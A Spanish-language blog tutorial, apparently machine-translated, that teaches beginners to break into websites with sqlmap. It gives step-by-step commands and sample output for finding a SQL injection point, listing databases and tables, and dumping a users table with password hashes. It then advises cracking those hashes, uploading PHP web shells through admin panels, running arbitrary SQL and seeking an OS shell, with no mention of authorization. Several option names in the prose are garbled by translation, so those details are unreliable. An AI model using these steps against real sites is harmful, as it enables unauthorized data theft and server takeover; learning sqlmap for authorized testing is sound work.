Tutorial de Sqlmap para principiantes – hacking con inyección sql

Sqlmap

Sqlmap es una de las herramientas de automatización de inyección sql más populares y potentes que existen. Dada una url de solicitud http vulnerable, sqlmap puede explotar la base de datos remota y hacer mucho pirateo, como extraer nombres de bases de datos, tablas, columnas, todos los datos en las tablas, etc.

incluso puede leer y escribir archivos en el sistema de archivos remoto bajo ciertas condiciones. Escrito en python, es una de las herramientas de hacking más poderosas que existen. Sqlmap es el metasploit de las inyecciones sql.

Sqlmap se incluye en distribuciones de linux de prueba de lápiz como kali linux, backtrack, backbox, etc. En otras distribuciones se puede descargar simplemente desde la siguiente url

http://sqlmap.org/.

Dado que está escrito en python, primero debe instalar python en su sistema. En ubuntu instale python desde synaptic. En Windows, instale python activestate. Echa un vistazo a esta publicación para obtener detalles sobre cómo instalar y ejecutar sqlmap en Windows.

Para ver la lista de opciones y parámetros que se pueden usar con el comando sqlmap, consulte la documentación de sqlmap en
https://github.com/sqlmapproject/sqlmap/wiki/Usage

En este tutorial vamos a aprender cómo usar sqlmap para explotar una aplicación web vulnerable y ver qué se puede hacer con dicha herramienta.

Para comprender este tutorial, debe tener un conocimiento exhaustivo de cómo funcionan las aplicaciones web impulsadas por bases de datos. Por ejemplo, aquellos hechos con php + mysql.

Url vulnerables

Digamos que hay una aplicación web o sitio web que tiene una url como esta

http://www.site.com/section.php?id=51

y es propenso a la inyección sql porque el desarrollador de ese sitio no escapó correctamente el id de parámetro. Esto se puede probar simplemente intentando abrir la url

http://www.site.com/section.php?id=51'

Acabamos de añadir una comilla en el parámetro. Si esta url genera un error o reacciona de manera inesperada, entonces está claro que la base de datos tiene la cita única inesperada de la que la aplicación no se escapó correctamente. En este caso, este parámetro de entrada «id» es vulnerable a la inyección sql.

Hackear con sqlmap

Ahora es el momento de pasar a sqlmap para hackear dichas URL. El comando sqlmap se ejecuta desde la terminal con el intérprete de python.

1. Escaneo del sistema remoto

El primer comando es escanear el sistema remoto para ver si es vulnerable a la inyección sql y luego recopilar información al respecto.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

El comando anterior es el primero y más simple que se ejecuta con la herramienta sqlmap. Comprueba los parámetros de entrada para encontrar si son vulnerables a la inyección sql o no. Para esto, sqlmap envía diferentes tipos de cargas útiles de inyección sql al parámetro de entrada y comprueba la salida.

En el proceso, sqlmap también puede identificar el sistema operativo del sistema remoto, el nombre de la base de datos y la versión. Así es como la salida podría verse

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

Para que la herramienta sqlmap haya descubierto el sistema operativo, el servidor web y la base de datos junto con la información de la versión. Incluso esto es bastante impresionante. Pero es hora de seguir adelante y ver de qué más es capaz esta herramienta.

2. Descubrir bases de datos

Una vez que sqlmap confirma que una url remota es vulnerable a la inyección sql y es explotable, el siguiente paso es averiguar los nombres de las bases de datos que existen en el sistema remoto. La opción» d dbs » se utiliza para obtener la lista de la base de datos.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

El resultado podría ser algo como esto

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

La salida muestra las bases de datos existentes en el sistema remoto.

3. Buscar tablas en una base de datos en particular

Ahora es el momento de averiguar qué tablas existen en una base de datos en particular. Digamos que la base de datos de interés aquí es ‘safecosmetics’

el Comando

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

y el resultado puede ser algo parecido a esto

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

no es esto increíble ? si, por supuesto. Vamos a obtener las columnas de una tabla en particular ahora.

4. Obtener columnas de una tabla

Ahora que tenemos la lista de tablas con nosotros, sería una buena idea obtener las columnas de alguna tabla importante. Digamos que la tabla es ‘usuarios’ y contiene el nombre de usuario y la contraseña.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

El resultado puede ser algo como esto

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

Así que ahora las columnas son claramente visibles. Buen trabajo!

5. Obtener datos de una tabla

Ahora viene la parte más interesante, de extraer los datos de la tabla. El comando sería

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

El comando anterior simplemente volcará los datos de la tabla en particular, muy parecido al comando mysqldump.
El resultado puede ser similar a este

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

La columna hash parece tener el hash de contraseña. Intenta descifrar el hash y obtendrás los detalles de inicio de sesión de inmediato. sqlmap creará un archivo csv que contiene los datos de volcado para facilitar el análisis.

Hasta ahora hemos podido recopilar mucha información de la base de datos remota utilizando sqlmap. Es casi como tener acceso directo a una base de datos remota a través de un cliente como phpmyadmin. En escenarios reales, los hackers intentarían obtener un nivel más alto para acceder al sistema. Para esto, intentarían descifrar los hashes de contraseñas e intentar iniciar sesión a través del panel de administración. O intentarían obtener un shell del sistema operativo usando sqlmap.

Escribí otro post sobre el uso de sqlmap para obtener más detalles sobre las bases de datos remotas. Explica las otras opciones de sqlmap que son útiles para encontrar los usuarios de la base de datos, sus privilegios y sus hashes de contraseñas.

¿Qué sigue ?

Una vez que pueda escanear y recopilar datos de un sistema vulnerable, es hora de explotarlo y ver si es posible obtener acceso al sistema. Sqlmap puede hacer bastantes cosas, como ejecutar consultas sql en un sistema remoto, iniciar un shell remoto en el sistema, etc.

1. Ejecutar consultas sql arbitrarias

Esto es probablemente lo más fácil de hacer en un servidor que es vulnerable a la inyección sql. El parámetro sql sql-query se puede usar para especificar una consulta sql a ejecutar. Las cosas de interés serían crear un usuario en la tabla usuarios o algo similar. O puede cambiar / modificar el contenido de las páginas de cms, etc.

Otro parámetro sql sql-shell daría una interfaz similar a sql shell para ejecutar consultas de forma interactiva.

2. Entra en el panel de administración y reproduce

Si el sitio web está ejecutando algún tipo de cms personalizado o algo similar que tenga un panel de administración, entonces es posible entrar siempre que puedas descifrar la contraseña recuperada en el volcado de la base de datos. Contraseñas simples y de corta duración se pueden romper simplemente por fuerza bruta o google.com.

Compruebe si el panel de administración permite cargar algunos archivos. Si se puede cargar un archivo php arbitrario, será mucho más divertido. El archivo php puede contener llamadas a funciones shell_exec, system, exec o passthru y que permitirán ejecutar comandos arbitrarios del sistema. Los scripts Php de shell web se pueden cargar para hacer lo mismo.

3. Shell en SO remoto

Esto es lo que hay que hacer para apoderarse completamente del servidor. Sin embargo, tenga en cuenta que no es tan fácil y trivial como los trucos mostrados anteriormente. sqlmap viene con una llamada a parámetro os os-shell que se puede usar para intentar obtener un shell en un sistema remoto, pero tiene muchas limitaciones propias.

De acuerdo con el manual de sqlmap

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

El privilegio más importante que necesita el usuario actual de la base de datos es escribir archivos a través de las funciones de la base de datos. Esto está ausente en la mayoría de los casos. Por lo tanto, esta técnica no funcionará en la mayoría de los casos.

Nota

1. A veces, sqlmap no puede conectarse a la url en absoluto. Esto es visible cuando se atasca en la primera tarea de «probar la conexión a la url de destino». En tales casos, es útil usar la opción «random random-agent». Esto hace que sqlmap use una firma de agente de usuario válida como las que envía un navegador como chrome o Firefox.

2. Para direcciones URL que no tienen la forma de param = value, sqlmap no puede saber automáticamente dónde inyectar. Por ejemplo, urls mvc como http://www.site.com/class_name/method/43/80.

En tales casos, se debe indicar a sqlmap el punto de inyección marcado con a *

http://www.site.com/class_name/method/43*/80

Lo anterior le indicará a sqlmap que inyecte en el punto marcado con *

3. Al usar formularios que envían datos a través del método post, sqlmap debe proporcionar los datos post en las opciones «data data». Para obtener más información, consulte este tutorial sobre el uso de sqlmap con formularios.

Deja una respuesta

Tu dirección de correo electrónico no será publicada.